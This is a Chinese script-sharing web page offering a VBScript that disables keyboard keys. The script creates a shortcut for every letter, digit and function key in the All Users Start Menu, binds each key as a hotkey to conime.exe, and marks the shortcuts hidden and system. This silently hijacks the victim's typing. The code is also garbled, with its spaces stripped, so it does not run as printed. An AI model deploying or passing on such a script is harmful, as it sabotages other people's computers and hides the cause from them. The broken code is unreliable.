vbs屏蔽键盘按键
摘要：复制代码代码如下:'codeBY伤脑筋www.ntbak.cnwww.jb51.net'copytofilename.vbsdimnum,v...
复制代码 代码如下:
'codeBY伤脑筋www.ntbak.cn www.jb51.net
'copytofilename.vbs
dimnum,var,fso,wsh,pathname
num="A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,"+_
"V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9,F1,F2,F3,F4,F5,F6,"+_
"F7,F8,F9,F10,F11,F12"
var=Split(num,",",-1,1)
Setfso=CreateObject("Scripting.FileSystemObject")
setWsh=WScript.CreateObject("WScript.Shell")
pathname=Wsh.SpecialFolders("AllUsersStartMenu")+"程序附件辅助工具"
fori=0toUBound(var)
setLink=Wsh.CreateShortcut(pathname+var(i)+".lnk")
Link.TargetPath="conime.exe"
Link.Hotkey=var(i)
Link.Save
SetFile=fso.GetFile(pathname+var(i)+".lnk")
file.Attributes=2+4
next
【vbs屏蔽键盘按键】相关文章：
★ vbs SendKey 用法 Sendkey 键盘对应的码表
上一篇：
刷QQ群的VBS脚本